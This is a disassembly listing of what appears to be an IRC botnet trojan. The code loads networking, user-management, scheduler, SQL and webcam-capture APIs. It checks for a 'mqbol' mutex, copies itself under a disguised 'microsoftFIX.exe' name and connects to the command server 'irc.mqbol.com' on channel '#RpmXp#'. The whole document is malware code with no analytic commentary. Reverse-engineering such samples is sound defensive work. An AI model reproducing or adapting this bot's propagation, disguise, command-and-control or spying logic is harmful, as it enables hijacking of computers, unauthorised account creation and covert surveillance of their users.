loc_401E29: ; CODE XREF: sub_4014E0+90Aj
nop
call near ptr 26908EFh
mov dword_44543C, eax
loc_401E34: ; CODE XREF: sub_4014E0+939j
; sub_4014E0+941j ...
mov dword_445438, 1
loc_401E3E: ; CODE XREF: sub_4014E0+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_401F45
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_44523C, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_445214, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_44528C, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4452C0, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4453D8, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_445274, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_445220, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_445210, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4452A8, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4453A0, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_445358, eax
call esi
cmp dword_44523C, ebx
mov dword_44527C, eax
jz short loc_401F50
cmp dword_445214, ebx
jz short loc_401F50
cmp dword_44528C, ebx
jz short loc_401F50
cmp dword_4452C0, ebx
jz short loc_401F50
cmp dword_4453D8, ebx
jz short loc_401F50
cmp dword_445274, ebx
jz short loc_401F50
cmp dword_445220, ebx
jz short loc_401F50
cmp dword_445210, ebx
jz short loc_401F50
cmp dword_4452A8, ebx
jz short loc_401F50
cmp dword_4453A0, ebx
jz short loc_401F50
cmp dword_445358, ebx
jnz short loc_401F5A
jmp short loc_401F50
; ---------------------------------------------------------------------------
loc_401F45: ; CODE XREF: sub_4014E0+969j
call near ptr 26908EFh
nop
mov dword_445444, eax
loc_401F50: ; CODE XREF: sub_4014E0+A11j
; sub_4014E0+A19j ...
mov dword_445440, 1
loc_401F5A: ; CODE XREF: sub_4014E0+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_401F8F
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_445264, eax
call esi
cmp dword_445264, ebx
mov dword_445340, eax
jz short loc_401F9A
cmp eax, ebx
jnz short loc_401FA4
jmp short loc_401F9A
; ---------------------------------------------------------------------------
loc_401F8F: ; CODE XREF: sub_4014E0+A85j
call near ptr 26908EFh
nop
mov dword_44544C, eax
loc_401F9A: ; CODE XREF: sub_4014E0+AA7j
; sub_4014E0+AADj
mov dword_445448, 1
loc_401FA4: ; CODE XREF: sub_4014E0+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_401FD9
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4453C4, eax
call esi
cmp dword_4453C4, ebx
mov dword_4453C0, eax
jz short loc_401FE4
cmp eax, ebx
jnz short loc_401FEE
jmp short loc_401FE4
; ---------------------------------------------------------------------------
loc_401FD9: ; CODE XREF: sub_4014E0+ACFj
nop
call near ptr 26908EFh
mov dword_445454, eax
loc_401FE4: ; CODE XREF: sub_4014E0+AF1j
; sub_4014E0+AF7j
mov dword_445450, 1
loc_401FEE: ; CODE XREF: sub_4014E0+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40204D
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4453F0, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4453E8, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4453B0, eax
call esi
cmp dword_4453F0, ebx
mov dword_445280, eax
jz short loc_402058
cmp dword_4453E8, ebx
jz short loc_402058
cmp dword_4453B0, ebx
jz short loc_402058
cmp eax, ebx
jnz short loc_402062
jmp short loc_402058
; ---------------------------------------------------------------------------
loc_40204D: ; CODE XREF: sub_4014E0+B19j
nop
call near ptr 26908EFh
mov dword_44545C, eax
loc_402058: ; CODE XREF: sub_4014E0+B55j
; sub_4014E0+B5Dj ...
mov dword_445458, 1
loc_402062: ; CODE XREF: sub_4014E0+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_402097
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4452B4, eax
call esi
cmp dword_4452B4, ebx
mov dword_4453BC, eax
jz short loc_4020A2
cmp eax, ebx
jnz short loc_4020AC
jmp short loc_4020A2
; ---------------------------------------------------------------------------
loc_402097: ; CODE XREF: sub_4014E0+B8Dj
nop
call near ptr 26908EFh
mov dword_445464, eax
loc_4020A2: ; CODE XREF: sub_4014E0+BAFj
; sub_4014E0+BB5j
mov dword_445460, 1
loc_4020AC: ; CODE XREF: sub_4014E0+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_402135
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_445384, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4453D0, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_44530C, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4452C4, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_445364, eax
call esi
cmp dword_445384, ebx
mov dword_4452D4, eax
jz short loc_402140
cmp dword_4453D0, ebx
jz short loc_402140
cmp dword_44530C, ebx
jz short loc_402140
cmp dword_4452C4, ebx
jz short loc_402140
cmp dword_445364, ebx
jz short loc_402140
cmp eax, ebx
jnz short loc_40214A
jmp short loc_402140
; ---------------------------------------------------------------------------
loc_402135: ; CODE XREF: sub_4014E0+BD7j
call near ptr 26908EFh
nop
mov dword_44546C, eax
loc_402140: ; CODE XREF: sub_4014E0+C2Dj
; sub_4014E0+C35j ...
mov dword_445468, 1
loc_40214A: ; CODE XREF: sub_4014E0+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40217F
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_445298, eax
call esi
cmp dword_445298, ebx
mov dword_445378, eax
jz short loc_40218A
cmp eax, ebx
jnz short loc_402194
jmp short loc_40218A
; ---------------------------------------------------------------------------
loc_40217F: ; CODE XREF: sub_4014E0+C75j
nop
call near ptr 26908EFh
mov dword_445474, eax
loc_40218A: ; CODE XREF: sub_4014E0+C97j
; sub_4014E0+C9Dj
mov dword_445470, 1
loc_402194: ; CODE XREF: sub_4014E0+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4014E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40219C proc near ; CODE XREF: sub_403038+3991p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_445408, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_4021E4
push dword_44540C
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_4021E4: ; CODE XREF: sub_40219C+1Aj
cmp dword_445410, esi
jz short loc_402218
push dword_445414
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_402218: ; CODE XREF: sub_40219C+4Ej
cmp dword_445418, esi
jz short loc_40224C
push dword_44541C
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_40224C: ; CODE XREF: sub_40219C+82j
cmp dword_445420, esi
jz short loc_402280
push dword_445424
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_402280: ; CODE XREF: sub_40219C+B6j
cmp dword_445428, esi
jz short loc_4022B4
push dword_44542C
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_4022B4: ; CODE XREF: sub_40219C+EAj
cmp dword_445430, esi
jz short loc_4022E8
push dword_445434
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_4022E8: ; CODE XREF: sub_40219C+11Ej
cmp dword_445438, esi
jz short loc_40231C
push dword_44543C
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_40231C: ; CODE XREF: sub_40219C+152j
cmp dword_445440, esi
jz short loc_402350
push dword_445444
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_402350: ; CODE XREF: sub_40219C+186j
cmp dword_445448, esi
jz short loc_402384
push dword_44544C
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_402384: ; CODE XREF: sub_40219C+1BAj
cmp dword_445450, esi
jz short loc_4023B8
push dword_445454
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_4023B8: ; CODE XREF: sub_40219C+1EEj
cmp dword_445458, esi
jz short loc_4023EC
push dword_44545C
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_4023EC: ; CODE XREF: sub_40219C+222j
cmp dword_445460, esi
jz short loc_402420
push dword_445464
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_402420: ; CODE XREF: sub_40219C+256j
cmp dword_445468, esi
jz short loc_402454
push dword_44546C
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_402454: ; CODE XREF: sub_40219C+28Aj
cmp dword_445470, esi
jz short loc_402488
push dword_445474
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 20h
loc_402488: ; CODE XREF: sub_40219C+2BEj
lea eax, [ebp+var_200]
push offset unk_436AF0
push eax
call sub_4171D0
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_4024B5
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_401445
add esp, 14h
loc_4024B5: ; CODE XREF: sub_40219C+302j
lea eax, [ebp+var_200]
push eax
call sub_410557
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40219C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20h
cmp dword ptr [ebp+8], 0
push esi
jz loc_40255C
push offset dword_44548C
push dword ptr [ebp+8]
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_40255C
push 20h
lea eax, [ebp-20h]
push dword ptr [ebp+8]
push eax
call sub_417770
lea eax, [ebp-20h]
push offset a__3 ; "."
push eax
call sub_417620
add esp, 14h
test eax, eax
jz short loc_40255C
push eax
call sub_4174D0
mov dword ptr [esp], offset a__4 ; "."
push 0
mov esi, eax
call sub_417620
pop ecx
test eax, eax
pop ecx
jz short loc_40255C
push eax
call sub_4174D0
cmp esi, 0Ah
pop ecx
jz short loc_402557
cmp esi, 0ACh
jnz short loc_402548
cmp eax, 0Fh
jle short loc_40255C
cmp eax, 20h
jl short loc_402557
loc_402548: ; CODE XREF: ___:0040253Cj
cmp esi, 0C0h
jnz short loc_40255C
cmp eax, 0A8h
jnz short loc_40255C
loc_402557: ; CODE XREF: ___:00402534j
; ___:00402546j
push 1
pop eax
jmp short loc_40255E
; ---------------------------------------------------------------------------
loc_40255C: ; CODE XREF: ___:004024D2j
; ___:004024E9j ...
xor eax, eax
loc_40255E: ; CODE XREF: ___:0040255Aj
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_402561 proc near ; CODE XREF: sub_402D58+4Fp
; sub_403038+483Ap ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_445388
cmp eax, 0FFFFFFFFh
jnz short locret_402589
push [esp+arg_0]
call dword_4453CC
test eax, eax
jnz short loc_402582
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_402582: ; CODE XREF: sub_402561+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_402589: ; CODE XREF: sub_402561+Dj
retn
sub_402561 endp
; =============== S U B R O U T I N E =======================================
sub_40258A proc near ; CODE XREF: sub_402D58+D6p
mov ecx, dword_445264
xor eax, eax
test ecx, ecx
jz short locret_402598
call ecx
locret_402598: ; CODE XREF: sub_40258A+Aj
retn
sub_40258A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402599 proc near ; CODE XREF: sub_403038:loc_40690Fp
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4453C4
mov ecx, eax
sub ecx, edi
jz loc_402665
sub ecx, 32h
jz loc_40265E
sub ecx, 48h
jz short loc_4025F9
sub ecx, 6Eh
jz short loc_4025F2
push eax
push offset unk_436BC8
loc_4025E1: ; CODE XREF: sub_402599+91j
lea eax, [ebp+var_88]
push eax
call sub_4171D0
add esp, 0Ch
jmp short loc_40263F
; ---------------------------------------------------------------------------
loc_4025F2: ; CODE XREF: sub_402599+40j
push offset unk_436B74
jmp short loc_402631
; ---------------------------------------------------------------------------
loc_4025F9: ; CODE XREF: sub_402599+3Bj
push [ebp+var_8]
call sub_414DB0
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_417070
add esp, 10h
cmp esi, edi
jz short loc_40262C
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4453C4
cmp eax, edi
jz short loc_402665
push eax
push offset unk_436B18
jmp short loc_4025E1
; ---------------------------------------------------------------------------
loc_40262C: ; CODE XREF: sub_402599+79j
push offset unk_436B44
loc_402631: ; CODE XREF: sub_402599+5Ej
; sub_402599+CAj
lea eax, [ebp+var_88]
push eax
call sub_4171D0
pop ecx
pop ecx
loc_40263F: ; CODE XREF: sub_402599+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_410557
pop ecx
loc_40264F: ; CODE XREF: sub_402599+CEj
; sub_402599+E2j
push esi
call sub_415820
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40265E: ; CODE XREF: sub_402599+32j
push offset unk_436B98
jmp short loc_402631
; ---------------------------------------------------------------------------
loc_402665: ; CODE XREF: sub_402599+29j
; sub_402599+89j
cmp [esi], edi
jbe short loc_40264F
lea ebx, [esi+4]
loc_40266C: ; CODE XREF: sub_402599+E0j
push ebx
call dword_4453C0
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40266C
jmp short loc_40264F
sub_402599 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40267D proc near ; CODE XREF: sub_403038+36B8p
; sub_403038+37F0p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4452EC
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_445478
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_4171D0
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40267D endp
; =============== S U B R O U T I N E =======================================
sub_4026D6 proc near ; CODE XREF: ___:00409DACp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_4026FF
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_4026F2: ; CODE XREF: sub_4026D6+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_4026F2
pop edi
jmp short loc_402703
; ---------------------------------------------------------------------------
loc_4026FF: ; CODE XREF: sub_4026D6+Aj
mov edx, [esp+4+arg_0]
loc_402703: ; CODE XREF: sub_4026D6+27j
test esi, esi
pop esi
jz short loc_40270D
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40270D: ; CODE XREF: sub_4026D6+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_4026D6 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp-4], esi
jle short loc_402750
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_402742: ; CODE XREF: ___:0040274Aj
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_402742
pop edi
cmp eax, 1
loc_402750: ; CODE XREF: ___:00402736j
jnz short loc_40275D
mov al, [edx]
mov [ebp-4], al
movzx eax, word ptr [ebp-4]
add esi, eax
loc_40275D: ; CODE XREF: ___:loc_402750j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
leave
retn
; ---------------------------------------------------------------------------
loc_402776: ; DATA XREF: ___:00436004o
jmp $+5
push 0FFFFh
push 539h
call sub_4123FE
pop ecx
mov dword_4D3010, eax
pop ecx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_401317
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4DD304
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4D3014, eax
call esi
push eax
call sub_417B00
pop ecx
call sub_4014E0
push 2
call dword_4453F4
push 7530h
push offset aMqbol ; "mqbol"
push ebx
push ebx
nop
call near ptr 26C0000h
push eax
call near ptr 26B0CCEh
nop
cmp eax, 102h
jnz short loc_402812
push 1
nop
call near ptr 77E75CB5h
loc_402812: ; CODE XREF: ___:00402808j
lea eax, [ebp-884h]
push eax
push 202h
call dword_4452B8
cmp eax, ebx
jnz loc_402D4F
cmp byte ptr [ebp-884h], 2
jnz loc_402D49
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_402D49
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
call near ptr 2690000h
nop
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
nop
call near ptr 26A0797h
push eax
nop
call near ptr 2680000h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_417BD0
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset aSS_6 ; "%s%s"
lea eax, [ebp-5F4h]
push esi
push eax
call sub_4172D0
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_417B50
add esp, 30h
test eax, eax
jnz loc_402A84
cmp dword_436C20, ebx
mov esi, offset aMicrosoftfix_e ; "microsoftFIX.exe"
jz short loc_40290A
push esi
xor edi, edi
call sub_414BE0
sub eax, 4
pop ecx
jz short loc_40290A
loc_4028E7: ; CODE XREF: ___:00402908j
call sub_417B10
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte ptr aMicrosoftfix_e[edi], dl ; "microsoftFIX.exe"
inc edi
call sub_414BE0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_4028E7
loc_40290A: ; CODE XREF: ___:004028D7j
; ___:004028E5j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset aSS_7 ; "%s\\%s"
push eax
call sub_4171D0
add esp, 10h
lea eax, [ebp-1E8h]
push eax
call near ptr 26B0C38h
nop
cmp eax, 0FFFFFFFFh
jz short loc_40294A
lea eax, [ebp-1E8h]
push 80h
push eax
call near ptr 26B0AE4h
nop
loc_40294A: ; CODE XREF: ___:00402936j
mov esi, dword_4DD2F0
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_402961: ; CODE XREF: ___:00402998j
call esi
test eax, eax
jnz short loc_40299A
nop
call near ptr 26908EFh
cmp edi, ebx
jnz short loc_40299A
cmp eax, 20h
jz short loc_40297B
cmp eax, 5
jnz short loc_40299A
loc_40297B: ; CODE XREF: ___:00402974j
push 1
pop edi
push 3A98h
nop
call near ptr 2690599h
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_402961
; ---------------------------------------------------------------------------
loc_40299A: ; CODE XREF: ___:00402965j
; ___:0040296Fj ...
lea eax, [ebp-1E8h]
push eax
call sub_411E5F
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
nop
call near ptr 26B0AE4h
push 10h
lea eax, [ebp-20h]
push ebx
push eax
call sub_417070
push 44h
lea eax, [ebp-0E4h]
pop esi
push esi
push ebx
push eax
call sub_417070
add esp, 18h
mov [ebp-0E4h], esi
mov dword ptr [ebp-0D8h], offset dword_4D3190
mov [ebp-0B4h], bx
push 1
pop esi
mov [ebp-0B8h], esi
call near ptr 26B0658h
nop
push eax
push esi
push 100000h
nop
call near ptr 26B0000h
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset aSDS_0 ; "%s %d \"%s\""
push eax
call sub_4171D0
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 267039Fh
test eax, eax
jz short loc_402A84
push 0C8h
nop
call near ptr 2690599h
push dword ptr [ebp-20h]
mov esi, dword_4DD2BC
call esi
push dword ptr [ebp-1Ch]
call esi
call dword_4452A0
push ebx
nop
call near ptr 77E75CB5h
loc_402A84: ; CODE XREF: ___:004028C6j
; ___:00402A5Aj
cmp dword_4DB0C0, 2
jle short loc_402AD0
mov eax, dword_4DB0C4
push dword ptr [eax+4]
call sub_4174D0
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call near ptr 26B0CCEh
nop
push esi
nop
call near ptr 267009Bh
mov eax, dword_4DB0C4
cmp [eax+8], ebx
jz short loc_402AD0
push 7D0h
nop
call near ptr 2690599h
mov eax, dword_4DB0C4
push dword ptr [eax+8]
nop
call near ptr 26A0AF2h
loc_402AD0: ; CODE XREF: ___:00402A8Bj
; ___:00402AB5j
cmp dword_436C24, ebx
jz short loc_402AED
cmp dword_445418, ebx
jnz short loc_402AED
lea eax, [ebp-5F4h]
push eax
call sub_401000
pop ecx
loc_402AED: ; CODE XREF: ___:00402AD6j
; ___:00402ADEj
lea eax, [ebp-0A0h]
push offset dword_4375FC
push eax
call sub_4171D0
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_408E53
lea eax, [ebp-0A0h]
push eax
call sub_410557
push 0B80h
push ebx
push offset dword_445490
call sub_417070
lea eax, [ebp-0A0h]
push offset unk_437618
push eax
call sub_4171D0
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_408E53
add esp, 38h
mov esi, eax
mov edi, dword_4DD2E0
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset word_41377E
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_446224[esi], eax
jnz short loc_402B8D
nop
call near ptr 26908EFh
push eax
lea eax, [ebp-0A0h]
push offset unk_43763C
push eax
call sub_4171D0
add esp, 0Ch
loc_402B8D: ; CODE XREF: ___:00402B70j
lea eax, [ebp-0A0h]
push eax
call sub_410557
push 2
call sub_40909B
pop ecx
test eax, eax
pop ecx
jnz short loc_402C12
lea eax, [ebp-0A0h]
push offset dword_43767C
push eax
call sub_4171D0
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_408E53
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
push ebx
push esi
push offset loc_40EA18
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_446224[esi], eax
jnz short loc_402C05
call near ptr 26908EFh
nop
push eax
lea eax, [ebp-0A0h]
push offset dword_4376A8
push eax
call sub_4171D0
add esp, 0Ch
loc_402C05: ; CODE XREF: ___:00402BE8j
lea eax, [ebp-0A0h]
push eax
call sub_410557
pop ecx
loc_402C12: ; CODE XREF: ___:00402BA4j
call sub_417B10
push 7Fh
and eax, 3
push offset aIrc_mqbol_com ; "irc.mqbol.com"
push offset dword_4D301C
mov dword_4D3188, eax
call sub_417770
mov eax, dword_436C00
push 3Fh
mov edi, offset dword_4D309C
push offset aRpmxp ; "#RpmXp#"
push edi
mov dword_4D316C, eax
call sub_417770
push 3Fh
mov esi, offset dword_4D30DC
push offset aSend_0 ; "send"
push esi
call sub_417770
add esp, 24h
mov dword_4D3170, ebx
loc_402C67: ; CODE XREF: ___:00402CEFj
; ___:00402CFAj ...
mov [ebp-4], ebx
loc_402C6A: ; CODE XREF: ___:00402CA3j
push offset dword_4D3018
mov dword_4D3184, ebx
call sub_402D58
cmp eax, 2
mov [ebp-10h], eax
jz loc_402D44
cmp dword_4D3184, ebx
jz short loc_402C91
dec dword ptr [ebp-4]
loc_402C91: ; CODE XREF: ___:00402C8Cj
push 0BB8h
nop
call near ptr 2690599h
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_402C6A
cmp dword ptr [ebp-10h], 2
jz loc_402D44
cmp [ebp-0Ch], ebx
jz short loc_402CF4
push 7Fh
push offset aIrc_mqbol_com ; "irc.mqbol.com"
push offset dword_4D301C
call sub_417770
mov eax, dword_436C00
push 3Fh
push offset aRpmxp ; "#RpmXp#"
push edi
mov dword_4D316C, eax
call sub_417770
push 3Fh
push offset aSend_0 ; "send"
push esi
call sub_417770
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_402C67
; ---------------------------------------------------------------------------
loc_402CF4: ; CODE XREF: ___:00402CB2j
cmp byte_436C70, bl
jz loc_402C67
push 7Fh
push offset byte_436C70
